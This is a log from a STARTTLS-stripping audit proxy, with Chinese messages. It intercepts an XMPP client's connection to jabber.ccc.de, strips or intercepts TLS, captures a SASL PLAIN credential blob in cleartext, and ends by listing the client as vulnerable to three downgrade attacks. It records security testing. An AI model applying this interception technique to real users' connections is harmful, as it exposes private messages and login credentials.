        - DEBUG    - <ProtocolDetect 0x7f083196aa90 protocol_id=PROTO_XMPP len_history=0> - 协议已检测(目标端口)
        - INFO     - <Session 0x7f083196a8d0> 客户端 ('192.168.139.1', 56892) 已连接
        - INFO     - <Session 0x7f083196a8d0> 正在连接目标 ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - 已更改修改器: striptls.UntrustedIntercept new: True>
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] <= [服务器]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='10051743579572304948' from='jabber.ccc.de' version='1.0' xml:lang='en'><stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] <= [服务器][已修改] "<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] <= [服务器][已修改] 等待入站 SSL 握手
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器][已修改] 正在执行出站 SSL 握手
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器][已修改] None
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] <= [服务器]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='6938642107398534259' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] <= [服务器]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><register xmlns='http://jabber.org/features/iq-register'/><mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism><mechanism>X-OAUTH2</mechanism><mechanism>SCRAM-SHA-1</mechanism></mechanisms></stream:features>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==</auth>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] <= [服务器]          "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>"
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [客户端] => [服务器]          '/stream:stream>'
        - WARNING  - <Session 0x7f083196a8d0> 已终止。

#### XMPP 审计结果

        - WARNING  - Ctrl C - 正在停止服务器
        - INFO     -  -- 审计结果 --
        - INFO     - [*] 客户端: 192.168.139.1
        - INFO     -     [存在漏洞!] <class striptls.StripInboundTLS at 0x7f08319a6808>
        - INFO     -     [存在漏洞!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
        - INFO     -     [存在漏洞!] <class striptls.UntrustedIntercept at 0x7f08319a6870>
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